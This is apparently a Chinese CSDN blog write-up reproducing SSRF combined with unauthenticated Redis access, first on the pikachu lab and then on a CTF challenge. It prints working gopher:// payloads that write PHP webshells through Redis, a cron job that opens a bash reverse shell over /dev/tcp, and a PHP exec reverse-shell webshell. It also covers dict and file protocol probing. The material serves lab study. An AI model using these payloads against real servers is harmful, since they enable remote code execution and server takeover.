ssrf+redis未授权访问漏洞复现

最新推荐文章于 2024-09-30 11:23:38 发布
最新推荐文章于 2024-09-30 11:23:38 发布
阅读量940 收藏 6
点赞数 21
文章标签： redis 网络安全 ssrf redis未授权访问
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/yfy0308/article/details/141615240
版权

ssrf+redis未授权访问漏洞复现

一，pikachu靶场练习

docker拉取环境：

docker run -d -p 8765:80 8023/pikachu-expect:latest

国内很多加速源都用不成，配置代理拉取即可，配置方式如下：

1，新建目录
mkdir -p /etc/systemd/system/docker.service.d

2，新建文件，粘贴并内容，并保存！
vim /etc/systemd/system/docker.service.d/http-proxy.conf
以下粘贴内容，IP一定要换成你代理软件运行的电脑的内网IP，通过ipconfig可以查看
端口一定要是代理软件设置的局域网端口！
[Service]
Environment="HTTP_PROXY=http://192.168.8.125:10819"
Environment="HTTPS_PROXY=http://192.168.8.125:10819"
Environment="NO_PROXY=your-registry.com,127.0.0.1,*.example.com"  

3，重启Docker
systemctl daemon-reload
systemctl restart docker

ssrf是什么，怎么用？

ssrf：服务器请求伪造漏洞，有一个参数，这个参数可以接收一个网址，可以在本地页面解析，解析过程 中没有进行过滤。

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()  请求网址

在这里插入图片描述
就像这样，可是这样好像也没什么用。

curl支持很多协议，有ftp，ftps，http，https，gopher，telnet，dict，file以及ldap
dict协议：探测服务 ?url=dict://127.0.0.1:3306  
此时读出来一些东西，改成3307没内容。证明dict协议可以去探测内网端口。
主要探测：fastcgi服务，可以去实现rec
        redis服务，6379端口，配合redis未授权访问，redis低版本下，很多人会设置访问密码，且安全模式关闭的情况下，我们可以：1.写入webshell（前提知道物理路径）2.写入任务计划，反弹shell 3.写入公钥，直接登录服务器。

在这里插入图片描述

file协议可以读取文件
?url=file:///var/www/html/inc/config.inc.php
这里读取到了数据库连接文件，前提是：知道路径文件名，看你的当前权限

在这里插入图片描述

gopher协议
可以发送get和post请求

获取gopherus工具：

克隆仓库：
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
进入Gopherus/目录下
chmod +x install.sh
sudo ./install.sh
执行安装脚本
由于此工具使用的是python2环境，安装时还会报错，我们去安装一个python2环境即可。
参考：【Ubuntu20.04安装python2和python3及版本配置】http://t.csdnimg.cn/Wf5Qi

克隆仓库过程中会出现请求不到网址，只需要配置代理即可

git config --global http.https://github.com.proxy http://10.100.186.105:7897
地址是你本机的内网地址，端口是你的代理软件开启的端口

在这里插入图片描述
安装成功！
在这里插入图片描述
gopher工具介绍：

如果您知道某个地方容易受到 SSRF 攻击，那么此工具将帮助您生成 Gopher有效载荷，以利用SSRF，并获得 RCE（远程代码执行）

工具使用–写入webshell：

root@yfy:~/Gopherus# gopherus --exploit redis
//我们选择攻击redis

  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell):PHPshell
//你要反弹shell还是写入phpshell
Give web root location of server (default is /var/www/html):
//你要写入的根路径是哪个？
Give PHP Payload (We have default PHP Shell): <?php phpinfo();
//你要写什么样的webshell？
Your gopher link is Ready to get PHP Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

这段编码的意思是用rides格式，把<?php phpinfo();写入到shell.php文件中，存储在网站根路径/var/www/html 内存数据落盘。

工具使用–写任务计划反弹shell：

What do you want?? (ReverseShell/PHPShell): ReverseShell

Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 192.168.81.132
//反弹到那个接口/
What can be his Crontab Directory location
## For debugging(locally) you can use /var/lib/redis :
//写到那个目录
Your gopher link is ready to get Reverse Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.81.132/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

解码后：
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$69


*/1 * * * * bash -c "sh -i >& /dev/tcp/192.168.81.132/1234 0>&1" 
任务计划：一分钟执行一次，反弹shell到192.168.81.132/1234端口

*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save

意思为把反弹shell的任务计划写到/任务计划目：var/spool/cron/下的root文件里，以root权限执行我们的任务计划。

二，2月公开赛Web-ssrfme

【题目考查的技术点】

  • SSRF
  • redis未授权访问
  • SSRF攻击内网主机上的redis
    在这里插入图片描述
经过测试存在ssrf
http://192.168.81.132:8091/?url=www.baidu.com

在这里插入图片描述
但是源码过滤了file协议、dict协议、127.0.0.1和localhost，但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。

目前还不知道当前主机的内网ip，但是源码提供了一个查看phpinfo的功能：

查看phpinfo，如下图，可以看到当前主机的内网ip为172.18.0.3：
在这里插入图片描述
探测一下172.18.0.3上开启了那些服务，使用burpsuite：

http://192.168.81.132:8091/?url=http://172.18.0.3:1234

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述发现172.18.0.3主机只开放了80端口，放弃这台。

然后我们便可以探测该网段上存活的主机了（可以用burp，但这里手动测试即可）：

?url=http://172.18.0.1  # 无存活
?url=http://172.18.0.2   # 发现另一存活机器
?url=http://172.18.0.3   # 当前机器

当我们测试到 172.17.0.2 时，返回了“Go away”：
在这里插入图片描述
说明172.17.0.2是内网中存活的另一台主机，并且上面也运行着http服务。但是当前还不能找到攻下这台内网主机的突破口，我们可以使用ssrf扫描一下这个内网主机的端口，这里使用burpsuite：
在这里插入图片描述
发现开发6379端口，说明这台内网主机上还运行着redis服务

redis 未授权访问攻击

接着我们便可以尝试 redis 未授权了，由于这台内网主机上还存在一个http服务，所以我们可以将webshell写入其web目录，然后用ssrf进行访问。但是我们尝试发现不能直接在/var/www/html目录下写文件，我们使用burp扫一下都有哪些目录，发现有个upload目录。
在这里插入图片描述

github上有目录爆破词典

用gopherus工具生成playload

写入路径为/var/www/html/upload
内容为<?php system('cat /flag'); ?>

gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

进行二次编码：
gopher%3A%2F%2F172.18.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

然后使用ssrf访问这个内网的shell.php即可得到flag

http://192.168.81.132:8091/?url=http://172.18.0.2:80/upload/shell.php

在这里插入图片描述
我们也可以通过反弹shell来找flag。同样以上操作，会在这台内网主机的upload目录里写入一个shell.php，内容如下：

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.81.130/14321 0>&1'"); ?>

gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2482%0D%0A%0A%0A%3C%3Fphp%20exec%28%22/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.81.130/14321%200%3E%261%27%22%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

需要二次编码

在这里插入图片描述
反弹shell成功，拿到flag！

%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

需要二次编码


[外链图片转存中...(img-s0Q8mVuE-1724773738830)]

反弹shell成功，拿到flag！
怎么都跑不快
关注
weblogic ssrf-redis 复现
SopRomeo的博客
12-07 545
复现环境 vulhub 感谢vulhub开源，非常方便复现漏洞 漏洞存在点 http://127.0.0.1:7001/uddiexplorer/ burpsuit抓包 发现url请求 分别发送原来的包以及baidu.com的包 发现报错信息返回不同 不能连接80端口，这说明我们是可以访问的 而weblogic是开放7001端口的，访问下7001端口试试 发现回显了404no found，说明可以探测内网端口是否开放 探测内网ip地址 docker环境的网段一般是172.* 根据回显不同，搜内网
ssrf漏洞攻击内网Redis复现
懂进攻知防守
07-21 1166
SSRF简介SSRF（Server-SideRequestForgery，服务端请求伪造），是攻击者让服务端发起构造的指定请求链接造成的漏洞。由于存在防火墙的防护，导致攻击者无法直接入侵内网；这时攻击者可以以服务器为跳板发起一些网络请求，从而攻击内网的应用及获取内网数据。大都是由于服务端提供了从其他服务器获取数据的功能，比如使用户从指定的URLweb应用获取图片、下载文件、读取文件内容等。.........
Pikachu靶场——越权访问漏洞(over permission)
来日可期的博客
10-03 2514
越权访问（Broken Access Control，BAC），指应用在检查授权时存在漏洞，使得攻击者在获得低权限用户账号后，利用一些方式绕过权限检查，访问或者操作其他用户或者更高权限的用户。越权漏洞的成因是因为开发人员在对数据进行增删查改时，对客户端请求的数据过分相信而遗漏了权限的判定，权限验证不当而导致的越权行为。
利用SSRF攻击Redis
LUOBIKUN的博客
10-20 4743
SSRF漏洞+redis前置知识实验环境搭建SSRF攻击Redis通过redis写入ssh公钥，获取操作系统权限；直接向Web目录中写webshell；linux计划任务执行命令反弹shell。 前置知识 利用SSRF来攻击靶机的redis服务，需要涉及到的一些知识点： 1，Redis客户端和服务端通信过程，以及常用命令； 2，相关协议，例如dict://协议和gother协议的使用 dict://协议 词典网络协议，在RFC 2009中进行描述。它的目标是超越Webster protocol，并允许客户端
SSRF打Redis
weixin_44843084的博客
06-06 857
SSRF打Redis https://www.cnblogs.com/linuxsec/articles/11221756.html https://www.cnblogs.com/-chenxs/p/11749367.html 1.探测端口 http://xxx.xxx.xx.xx/xx/xx.php?url=http://目标:6379 如果探测到6379端口，那么可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务， 原理是利用他们以目标机的身份执行对开启redis服
SSRF+redis未授权漏洞复现
qq_57094995的博客
10-04 678
ssrf+redis未授权漏洞的复现
SSRF+Redis未授权getshell
yuan_boss的博客
04-14 1418
当一个网站具有ssrf漏洞，如果没有一些过滤措施，比如没过滤file协议，gophere协议，dict等协议，就会导致无法访问的内网服务器信息泄露，甚至可以让攻击者拿下内网服务器权限。
基于SSRF+Redis的内网渗透
weixin_46686336的博客
11-07 724
基于SSRF+Redis的内网渗透
Redis未授权访问漏洞搭建复现
m0_58595840的博客
01-05 2822
Redis未授权访问漏洞利用方式总结（含靶场搭建）
Redis未授权访问漏洞复现
Armandhe的博客
06-01 1141
redis未授权访问漏洞的复现、利用条件、防御措施、
SSRF漏洞之Redis利用篇
weixin_39664643的博客
01-21 3384
SSRF漏洞之Redis利用篇 SSRF–(Server-side Request Forge, 服务端请求伪造) 定义：由攻击者构造的攻击链接传给服务端执行造成的漏洞，一般用来在外网探测或攻击内网服务 SSRF漏洞思维导图如下，本篇主要介绍利用SSRF漏洞攻击内网Redis SSRF攻击内网Redis 当存在SSRF漏洞且内网中Redis服务可以未授权访问时，利用Redis 任意文件写入成为十分常见的利用方式，一般内网中会存在 root 权限运行的 Redis 服务，利用 Gopher 协议可以攻击内网
SSRF漏洞复现（redis）
m0_56578216的博客
09-04 472
前提条件：1.安装环境已完成，故此省略不做。
redis数据库非授权访问-SSRF
千寻的博客
02-09 1097
文章目录第一步 ：获取镜像第二步 启动docker镜像第三步：登录docker镜像第四步:访问weblogic(7001端口)第五步:存在SSRF 漏洞抓到的数据包进行内网的探测补充:redis 数据库第六步 通过读写计划任务文件crontab反弹Shell 到指定地址url编码burp里面提交第七步 第六步的同时设置监听 第一步 ：获取镜像 [cd Desktop/] [cd vulhub-ma...
WebLogic SSRF漏洞攻击内网Redis以及反弹shell
SoulCat
02-08 3786
WebLogic SSRF漏洞攻击内网Redis以及反弹shell 漏洞概述: -通俗的讲weblogci是一种web容器，首先判断redis(内网ip和端口)，由于Redis是通过换行符来分隔每条命令，可以通过传入%0a%0d来注入换行符，发送redis命令，将弹shell脚本写入/etc/crontab中(crontab是一个linux一个定时执行事件的一个程序)，然后getshell。 基本...
缓存是什么？缓存机制、Spring缓存管理、Redis数据一致性、缓存问题（缓存穿透、缓存雪崩、缓存击穿）及Redis与MySQL使用场景对比
最新发布
项目git同名HuYaochao，未入职
09-30 1389
缓存机制、Spring缓存管理、Redis数据一致性、缓存问题（缓存穿透、缓存雪崩、缓存击穿）及Redis与MySQL使用场景对比
Redis: 持久化之RDB和AOF
Wang的专栏
09-29 1081
Redis 有一个高质量的课题：数据安全性与数据可靠性Redis 是一个内存型数据库，数据大部分都是存在内存里面当信息在内存中流通时，Redis 节点突然就故障挂掉当重新启动的时候，内存中的数据肯定是全部丢失了如果在这种情况下，Redis 提供了对应的持久化方案，它有两种持久化方案RDB和AOF可以把内存中的数据保存到磁盘，避免数据的流失关于RDB，我们需要了解到什么是持久化什么是快照RDB的工作原理，包括它的优点和缺点关于AOF，需要知道为什么需要有AOF。
Redis-常见数据类型(修改ing)
qq_74812898的博客
09-29 1022
redis常用数据类型
SSRF+redis
08-24
SSRF redis是指通过Server-Side Request Forgery (SSRF)攻击技术利用redis未授权访问漏洞的组合。SSRF漏洞可以让攻击者发送伪造的请求，使服务器在攻击者的控制下发送请求到内部网络或其他外部系统。而redis未授权...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值